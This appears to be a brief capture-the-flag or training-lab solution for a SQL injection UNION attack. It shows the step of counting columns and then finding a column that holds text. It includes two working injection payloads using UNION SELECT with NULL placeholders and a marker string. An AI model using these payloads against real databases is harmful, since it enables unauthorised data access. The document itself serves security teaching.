SQL injection UNION attack, finding a column conta

SQL injection UNION attack, finding a column containing text

Solution

Print how many column we dabasase has

3 columns
Payload: ' UNION SELECT NULL,NULL,NULL--

Search string "Q7xU8O"

The text is in the second column

Payload: ' UNION SELECT NULL,'Q7xU8O',NULL--